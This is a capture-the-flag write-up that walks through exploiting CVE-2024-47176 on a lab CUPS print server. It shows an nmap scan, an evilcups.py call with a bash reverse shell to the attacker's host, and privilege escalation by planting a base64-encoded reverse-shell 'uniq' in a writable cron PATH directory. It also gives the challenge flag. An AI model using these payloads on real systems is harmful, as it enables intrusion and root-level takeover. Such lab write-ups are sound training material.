Print Server
🧠Challenge Text¶
Hi, emergency troubleshooter,
we've received a notification from the national CSIRT that the print server ipp.powergrid.tcc may contain a vulnerability. Verify this report and determine whether the vulnerability is present and how severe it is.
Stay grounded!
🎨 Solution¶
We know that there is a printer server served at ipp.powergrid.tcc. The printer is usually accessible via web portal (tcp port) and exposes ipp protocol (udp port).
To observe open ports and services use nmap tool for the analysis.
Start with scanning tcp ports for Ipv4 address and continue with udp port scan.
- TCP port scan
$ nmap -sC -sV -p- ipp.powergrid.tcc PORT STATE SERVICE VERSION 631/tcp open ipp CUPS 2.4 |_http-server-header: CUPS/2.4 IPP/2.1 |_http-title: Home - CUPS 2.4.7 | http-robots.txt: 1 disallowed entry |_/ - UDP port scan
$ sudo nmap -sU -p 631 ipp.powergrid.tcc PORT STATE SERVICE 631/udp open|filtered ipp
The CUPS (Common Unix Printing System) printer web portal is pretty limited in terms of functionality for non-admin user. Though we are allowed to print a test pages! It aims to well-known CUPS CVE-2024-47176. It impacts CUPS 2.4.2 and possibly earlier versions (satisfied by the instance). The CVE-2024-47176 is a command injection vulnerability in CUPS (Common Unix Printing System) that allows unauthenticated remote attackers to install a malicious printer and execute arbitrary commands on a target system. Lets use existing exploit write-up evilcups.py.
The Key idea is to use reverse tcp shell command. Your machine listens at specific local port. Once malicious command is executed the remote machine shell is connected via tcp connection to your local port which listens for incoming connection.
nc -l -p <local_port>
Execute evil cup script where your address is assigned from vpn interface and local port is port on which the attacker (you) listens. Afterwards the printer should assigned in CUPS web portal and print a test page to get access remote shell.
python evilcups.py <your address> ipp.powergrid.tcc 'nohup bash -c "bash -i >& /dev/tcp/<your address>/<local_port> 0>&1"&'
Logged in Remote Machine¶
Now we should be connected to the remote host shell logged as ipp user. After several attempts to scan host machine for FLAG pattern in files, environment variables we can spot cron jobs running under root (ps aux).
lp@bcef912f8adf:/$ ps aux | grep cron
ps aux | grep cron
root 1161 0.0 0.0 3984 2460 ? S 20:55 0:00 /usr/sbin/cron -f
lp@bcef912f8adf:/$ cat /etc/cron.d/*
cat /etc/cron.d/*
*/5 * * * * root /root/reset/restore.sh > /var/log/restore.log 2>&1
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
* * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1
The last script is interesting; adds /opt/scripts to path (with write access for all), runs as cups_admin. We can safely inject print_count.sh script using custom uniq file.
* * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1
lp@514ef0d207ae:/$ ls -la /opt/scripts
ls -la /opt/scripts
total 12
drwxr-xrwx 2 root cronexec 4096 Nov 4 03:02 .
drwxr-xr-x 1 root root 4096 Nov 4 03:02 ..
-rwxr-xr-- 1 root cronexec 343 Nov 3 09:00 print_count.sh
lp@514ef0d207ae:/$ cat /opt/scripts/print_count.sh
cat /opt/scripts/print_count.sh
#!/bin/bash
log="/var/log/cups/access_log"
output="/tmp/stats.txt"
grep 'POST /printers/.*HTTP/1\.1" 200' "$log" | awk '{ print $4, $7 }' | while read -r datetime path; do
date=$(echo "$datetime" | cut -d: -f1 | tr -d '[')
printer=$(echo "$path" | cut -d'/' -f3)
echo "$date $printer"
done | sort | uniq -c | sort -nr > "$output"
... Here, again we aim to use reverse tcp shell which logged us as cups_admin user. To create uniq file script in the shell it is best to crafted locally as base64 string:
cat <<'EOF' | base64 -w0
#!/bin/bash
nohup bash -c "bash -i >& /dev/tcp/<our address>/<local another free port> 0>&1"&
/usr/bin/uniq $*
EOF
then execute following command
echo IyEvYmluL2Jhc2gKCm5vaHVwIGJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMjAwLjAuMjEvMTIwMDEgMD4mMSImCi91c3IvYmluL3VuaXEgJCoK | base64 -d > /opt/scripts/uniq
chmod a+rx /opt/scripts
Locally expose another free port (12001) and shortly we should access the desired shell. Finally with elevated privileges there is extra strange sudoers command /bin/cat /root/TODO.txt giving us the final FLAG!
malisha@malisha-ASUS-TUF-Gaming-F15-FX506LH-FX506LH:~$ nc -l -p 12001
bash: cannot set terminal process group (393): Inappropriate ioctl for device
bash: no job control in this shell
cups_admin@514ef0d207ae:~$ sudo -l
sudo -l
Matching Defaults entries for cups_admin on 514ef0d207ae:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User cups_admin may run the following commands on 514ef0d207ae:
(ALL) NOPASSWD: /bin/cat /root/TODO.txt
cups_admin@514ef0d207ae:~$ sudo cat /root/TODO.txt
sudo cat /root/TODO.txt
FLAG{HqW1-cHIN-6S8U-w5uQ}
cups_admin@514ef0d207ae:~$